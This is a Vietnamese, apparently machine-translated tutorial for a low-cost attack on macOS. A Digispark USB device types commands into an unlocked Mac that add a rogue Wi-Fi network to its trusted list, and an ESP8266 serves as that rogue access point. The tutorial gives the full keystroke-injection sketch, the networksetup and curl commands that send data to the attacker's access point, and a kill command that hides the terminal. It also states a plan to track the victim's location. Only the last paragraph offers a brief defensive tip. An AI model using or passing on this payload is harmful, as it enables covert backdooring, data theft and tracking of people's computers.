Arduino là một ngôn ngữ dễ học và được hỗ trợ trên nhiều thiết bị có chi phí cực kỳ thấp, hai trong số đó là Digispark 2 đô la và một bảng mạch dựa trên ESP8266 3 đô la. Chúng tôi có thể lập trình các thiết bị này trong Arduino để chiếm quyền kết nối dữ liệu Wi-Fi của bất kỳ máy tính macOS đã mở khóa nào trong vài giây và thậm chí chúng tôi có thể gửi dữ liệu từ thiết bị đích đến điểm truy cập xấu chi phí thấp của chúng tôi.
Các thiết bị tương thích với Arduino tiếp tục hạ thấp rào cản gia nhập để tạo ra các nguyên mẫu giá rẻ và các cuộc tấn công mới của nguyên mẫu với các cuộc tấn công kiểu Ducky Wi-Fi và USB Rubber cũng không khác. Bằng cách khai thác sự tin cậy mà Mac mang lại cho các mạng Wi-Fi “ưa thích” của mình, chúng tôi có thể nhanh chóng tạo kết nối cửa sau với tải trọng USB Digispark và gửi dữ liệu từ máy Mac đích đến máy chủ web ESP8266 của chúng tôi.
Danh sách mạng ưu tiên là gì?
Bất cứ khi nào bạn kết nối với mạng Wi-Fi, thiết bị của bạn sẽ thêm mạng vào danh sách các mạng Wi-Fi đáng tin cậy được gọi là danh sách mạng ưa thích (PNL). Danh sách này giữ cho máy tính của bạn được kết nối với Wi-Fi khi bạn di chuyển giữa các mạng. Để thuận tiện, hầu hết các hệ điều hành mặc định tự động kết nối với các mạng này để cung cấp trải nghiệm liền mạch. Tuy nhiên, nó mở ra một vài con đường mà kẻ tấn công có thể khai thác.
Bằng cách thêm một mạng rouge vào PNL, chúng ta có thể buộc một thiết bị kết nối với một AP xấu xa bất cứ khi nào chúng ta muốn. Vì vậy, chúng ta có thể làm những việc như đánh cắp dữ liệu khỏi thiết bị mà không cần tạo máy chủ trên web. Thay vào đó, chúng tôi có thể loại bỏ người dùng khỏi điểm truy cập được kết nối của họ và biết rằng họ sẽ kết nối với chúng tôi chứ không phải người thực. Trong hướng dẫn sau, chúng tôi sẽ xây dựng dựa trên điều này để đánh cắp lịch sử kết nối Wi-Fi của mục tiêu và theo dõi liên tục nơi ở của mục tiêu cứ sau 60 giây.
Thêm một Evil AP với Arduino
Chúng tôi sẽ sử dụng hai thiết bị giá cực thấp để chứng minh những gì có thể làm với ngân sách. Thiết bị đầu tiên là Digispark, một bảng phát triển USB nhỏ có thể lập trình trong Arduino có khả năng thực hiện các lệnh giống như Ducky Script bằng cách đặt ra như một bàn phím. Kẻ tấn công có thể viết một trọng tải cho bất kỳ hệ điều hành nào và đưa nó vào một máy tính mở và mở khóa trong vài giây.
Phần thứ hai trong cuộc tấn công của chúng tôi sẽ là với một ban phát triển Wi-Fi ESP8266 như D1 Mini, cũng được lập trình trong Arduino. Nó sẽ tạo ra AP xấu mà máy tính mục tiêu của chúng tôi sẽ kết nối. Chúng tôi sẽ kết nối Arduino với máy tính của chúng tôi theo nối tiếp để nhận dữ liệu từ máy tính mục tiêu qua Wi-Fi và in trên màn hình.
Hai thiết bị này sẽ phối hợp với nhau để thực hiện một cuộc tấn công đánh cắp dữ liệu, với ESP2866 tạo ra một mạng cho tập lệnh Digispark để buộc nạn nhân kết nối. Sau khi kết nối, có rất nhiều thứ chúng ta có thể làm trong nền bằng cách sử dụng ESP8266 để đánh cắp dữ liệu hoặc điều khiển máy tính từ xa. Trong ví dụ đơn giản này, chúng tôi sẽ gửi đầu ra của lệnh để cho thấy chúng tôi có thể lấy dữ liệu ra khỏi thiết bị, nhưng chúng tôi sẽ sáng tạo hơn với tải trọng trong hướng dẫn tiếp theo.
Những gì bạn cần
Chúng tôi sẽ sử dụng một cặp thiết bị Arduino $ 5, vì vậy ngân sách ở đây rất nhỏ (trừ máy tính macOS để kiểm tra tải trọng trên). Đầu tiên, bạn sẽ cần một bảng Digispark. Bây giờ chúng rất phổ biến, có rất nhiều người khác nhau tạo ra chúng, vì vậy bạn sẽ không gặp vấn đề gì trong việc tìm kiếm thứ bạn cần. Một trong những bản sao rẻ nhất bạn có thể nhận được được tìm thấy trên AliExpress với giá chưa đến hai đô la, nhưng cuối cùng bạn sẽ phải đợi rất lâu để nó đến. Nếu bạn là người mua sắm nhiều hơn trên Amazon, họ cũng có một số người sẽ được giao nhanh hơn, nhưng chi phí sẽ cao hơn.
Tùy chọn, bạn có thể thêm một đèn LED màu đỏ và điện trở 330 ohm . Bạn có thể làm theo hướng dẫn cho Trò chơi Người đàn ông Gà hoặc các hướng dẫn bên dưới để xem pin nào cắm vào cái gì. Ngoài tất cả những điều trên, bạn sẽ cần cáp Micro-USB để liên lạc với D1 Mini.
Bước 1 Thiết lập Arduino IDE cho ESP8266 & Digispark
Để bắt đầu, chúng ta cần thiết lập Arduino IDE để hoạt động với cả bảng Digispark và ESP8266. Để làm như vậy, chúng ta sẽ cần mở Arduino IDE và đi vào “Tùy chọn” của ứng dụng. Trong tab “Cài đặt”, hãy tìm trường có “URL Trình quản lý bảng bổ sung” và dán vào các URL sau.
http://arduino.esp8266.com/stable/package_esp8266com_index.json, http://digistump.com/package_digistump_index.json
Nhấp vào “OK” và sau đó bạn sẽ có thể chọn các bảng có liên quan dưới trình quản lý bảng. Trong “Công cụ”, nhấp vào “Bảng”, sau đó “Trình quản lý bảng” để hiển thị danh sách các bảng đã cài đặt. Các thư viện bảng chúng tôi sẽ cần cài đặt là ESP8266 và Digispark. Đầu tiên, tìm và chọn “Esp8266” bởi Cộng đồng ESP8266.
Đối với Digispark, tìm và chọn “Bảng Digistump AVR” của Digistump.
Khi chúng được cài đặt, chúng ta sẽ có thể ghi vào cả hai bảng từ Arduino IDE.
Bước 2 Mở Phác thảo & Flash cho ESP8266 Rogue AP
Bây giờ chúng ta có thể ghi vào ESP8266, hãy mở tệp từ kho GitHub và mở nó trong Arduino IDE. Trong cửa sổ terminal mới, hãy chạy lệnh sau để tải tập lệnh.
~# git clone https://github.com/skickar/ChickenManGame.git
Cloning into 'ChickenManGame'...
remote: Enumerating objects: 246, done.
remote: Counting objects: 100% (246/246), done.
remote: Compressing objects: 100% (194/194), done.
remote: Total 613 (delta 117), reused 168 (delta 52), pack-reused 367
Receiving objects: 100% (613/613), 4.85 MiB | 4.81 MiB/s, done.
Resolving deltas: 100% (285/285), done.
~# cd ChickenManGame
~/ChickenManGame# open ChickenManGame.ino
Điều đó sẽ mở bản phác thảo ChickenManGame trong Arduino. Chúng tôi sẽ kiểm tra tập lệnh của chúng tôi bằng cách bật đèn LED màu đỏ, chứng minh rằng chúng tôi đã kết nối MacBook mục tiêu với điểm truy cập xấu của chúng tôi và gửi dữ liệu.
Nếu bạn có đèn LED và điện trở màu đỏ, bạn có thể cắm chân dương của đèn LED màu đỏ vào chân D1 trên D1 Mini và âm sang điện trở 330 ohm. Kết nối đầu kia của điện trở với mặt đất. Nếu bạn không thêm đèn LED, chỉ cần theo dõi đầu ra nối tiếp để biết khi nào chúng tôi đã thành công trong việc gửi dữ liệu từ thiết bị đích qua AP xấu xa của chúng tôi.
Với ESP8266 được kết nối với cáp Micro-USB, hãy chọn bảng chính xác từ menu “Công cụ” thả xuống (D1 Mini cho tôi) và định cấu hình cài đặt của bạn như sau.
Khi mọi thứ có vẻ chính xác, nhấn mũi tên ở góc trên bên trái của IDE để đẩy bản phác thảo lên ESP8266. Khi xong, nhấn Command-Shift-M để mở màn hình nối tiếp. Từ đây, chúng ta sẽ thấy AP rouge của chúng tôi khởi động và cung cấp cho chúng tôi một tên và mật khẩu Wi-Fi duy nhất. Bạn sẽ thấy một đầu ra như dưới đây.
Mode: Chicken
Revived bird
Scanning for networks
Jimmy's BEAUTY - WORTHLESS!
CableWiFi - WORTHLESS!
SpectrumWiFi - WORTHLESS!
SpectrumWiFi - WORTHLESS!
YOUNG X - WORTHLESS!
Foot 2.4 ghz - WORTHLESS!
DG1670A72 - WORTHLESS!
GoGo spot - WORTHLESS!
WIFIEA18FDPlus - WORTHLESS!
ID set to 6
--------------------------------------------
Flag: 0
Chicken Level: Medium
Chicken ID: 6
Channel: 7
MAC-Address: 18:FE:34:00:01:06
IP-Address: 192.168.4.1
SSID: Chicken_Medium_06
Password: aardvark
---------------------------------------------
Nếu bạn quét các mạng Wi-Fi trên điện thoại hoặc máy tính của mình, bạn sẽ thấy một mạng có tên được hiển thị dưới “SSID”. Lưu tên mạng và mật khẩu cho bước tiếp theo. Ngoài ra, hãy mở cửa sổ nối tiếp này, vì chúng tôi sẽ có thể thấy khi chúng tôi nhận được yêu cầu web từ mục tiêu.
Bước 3 Mở và Flash Tải trọng Digispark HID
Tiếp theo, chúng tôi sẽ cấu hình phần Digispark của cuộc tấn công. Để tải xuống tập lệnh, hãy chạy đoạn mã sau trong cửa sổ terminal mới.
~# git clone https://github.com/skickar/DigiTrack.git
Cloning into 'DigiTrack'...
remote: Enumerating objects: 70, done.
remote: Counting objects: 100% (70/70), done.
remote: Compressing objects: 100% (70/70), done.
remote: Total 70 (delta 41), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (70/70), done.
Sau đó, thay đổi vào thư mục của nó và mở bản phác thảo thử nghiệm.
~# cd DigiTrack
~/DigiTrack# open chickentest.ino
Nó sẽ yêu cầu lưu bản phác thảo chickentest.ino trong một thư mục mới. Hãy tiếp tục và làm như vậy, và bạn sẽ thấy bản phác thảo sau đây mở trong Arduino IDE.
#include "DigiKeyboard.h"
void setup() {}
void loop() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
DigiKeyboard.delay(600);
DigiKeyboard.print("terminal");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.print("networksetup -setairportnetwork en0 'WIFINAME' PASS");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(6000);
DigiKeyboard.print("curl -X POST 192.168.4.1/index.html?cmd=led+red");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
for(;;){ /*empty*/ }}
Trên dòng có nội dung “WIFINAME” và “PASS”, thay thế tên của AP rouge mà bạn đã tạo. Trong ví dụ của chúng tôi, chúng tôi sẽ thay đổi dòng giống như vậy:
DigiKeyboard.print("networksetup -setairportnetwork en0 'Chicken_Medium_06' aardvark");
Sau khi được sửa đổi, chọn Digispark từ danh sách bảng thả xuống.
Đảm bảo Digispark bị ngắt kết nối, sau đó nhấn nút tải lên. Bạn sẽ có 60 giây để chèn Digispark. Khi bạn làm như vậy, bộ tải khởi động micronucleus sẽ tải mã lên Digispark và bạn có thể rút phích cắm Digispark khi bạn thấy những điều sau đây.
running: 100% complete
>> Micronucleus done. Thank you!
Đảm bảo rút phích cắm Digispark ngay sau khi kết thúc. Mặt khác, tải trọng sẽ bắt đầu thực hiện một hoặc hai giây sau khi hoàn thành.
Bước 4 Giám sát nối tiếp ESP8266 và chèn tải trọng
Bây giờ chúng tôi có một AP rouge được tạo từ ESP8266 mà chúng tôi đang theo dõi qua serial, cũng như một trọng tải đã sẵn sàng và chờ đợi trên Digispark của chúng tôi. Đã đến lúc thử tải trọng của chúng tôi trên máy tính Mac!
Chèn Digispark vào máy Mac và bạn sẽ thấy tải trọng sau được thực thi.
networksetup -setairportnetwork en0 'Chicken_Medium_06' aardvark
curl -X POST 192.168.4.1/index.html?cmd=led+red
<!DOCYTPE html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>LAY YOUR EGG</title></head><body><style>body{display:flex; flex-direction:column;justify-content:center;align-items:center;height:100%; background-color:black;}a.button{display:inline-block;padding:.7em 1.4em;margin:0 .3em .3em 0;border-radius:.15em;box-sizing:border-box;text-decoration:none;font-family:Roboto,sans-serif;text-transform:uppercase;font-weight:400;color:#fff;width:30%;box-shadow:inset 0 -.6em 0 -.35em rgba(0,0,0,.17);text-align:center;position:relative}a.button:active{top:.1em}@media all and (max-width:500px){a.button{display:block;width:50%;margin:.4em auto}}p{color:#fff}</style><a href="index.html?cmd=led+red" class="button" style="background-color:#f8333c">Red Team</a><a href="index.html?cmd=led+green" class="button" style="background-color:#44af69">Green Team</a><a href="index.html?cmd=led+blue" class="button" style="background-color:#3369ff">Blue Team</a><p>Seeing red?</p></body><script>history.replaceState('Nothing to see here, please move on', 'LAY YOUR EGG', '/index.html');</script></html>Dell-3:~ skickar$
Nếu bạn có đèn LED màu đỏ đi kèm, bạn sẽ thấy nó bật!
Như bạn có thể thấy, cửa sổ terminal cuối cùng vẫn mở, điều này không phải là rất lén lút. Trong lần lặp lại tiếp theo của chúng tôi, chúng tôi sẽ chú ý đến việc làm cho kịch bản của chúng tôi trở nên lén lút theo thiết kế, nhưng bây giờ, chúng tôi có thể thêm dòng sau vào cuối tải trọng Digispark nếu chúng tôi cần đóng cửa sổ khi chúng tôi hoàn thành.
DigiKeyboard.print("wait && kill -9 $(ps -p $PPID -o ppid=)");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
Bước 5 Xác nhận bạn có thể lọc dữ liệu
Trong màn hình nối tiếp vẫn mở của chúng tôi theo dõi đầu ra từ ESP8266, hãy đảm bảo rằng chúng tôi đã nhận được tải trọng trên AP lừa đảo của chúng tôi. Nếu chúng tôi thành công, mạng từ trước đó sẽ biến mất và đầu ra trên màn hình nối tiếp của chúng tôi sẽ trông giống như bên dưới.
[Web]# led red
Seeing red?
--------------------------------------------
Flag: 0
Chicken Level: Hard
Chicken ID: 6
Channel: 7
MAC-Address: 18:FE:34:00:02:06
IP-Address: 192.168.4.1
SSID: Chicken_Hard_06
Password: chicken roost
---------------------------------------------
Với xác nhận này, chúng tôi đã chứng minh rằng chúng tôi có thể chèn một mạng Wi-Fi xấu vào danh sách mạng ưa thích của máy tính Mac và sau đó gửi dữ liệu qua kết nối cửa sau đó. Trong các hướng dẫn tiếp theo của chúng tôi, chúng tôi sẽ tạo ra các trọng tải để theo dõi vị trí của máy tính mục tiêu và vị trí của nó trong tương lai.
Cửa hậu Wi-Fi không phải tốn hơn 5 đô la
Sử dụng phần cứng chi phí cực thấp, chúng tôi đã chứng minh rằng thật dễ dàng để tạo ra một cửa hậu lén lút trên MacBook, Mac Pro, iMac hoặc Mac khác để đánh cắp dữ liệu. Ngoài việc có thể buộc máy tính mục tiêu kết nối với mạng Wi-Fi độc hại của chúng tôi, chúng tôi cũng có thể sử dụng mạng để vạch mặt bất kỳ địa chỉ MAC giả mạo nào được hệ điều hành tự động thực hiện khi không kết nối với mạng Wi-Fi.
Để ngăn chặn các cuộc tấn công như thế này, bạn không bao giờ nên mở khóa và không giám sát máy tính của mình, vì điều này làm tăng đáng kể nguy cơ bạn có ai đó cắm thứ gì đó vào thiết bị của bạn có thể thực hiện tải trọng như chúng tôi đã đề cập hôm nay – hoặc tệ hơn nhiều. Bạn cũng có thể đưa mọi thứ đi xa hơn bằng cách thay đổi các phím nóng của máy tính để làm cho các tập lệnh được định dạng trước có nhiều khả năng bị lỗi trên thiết bị cụ thể của bạn bằng cách từ chối chúng bằng các phím tắt phổ biến.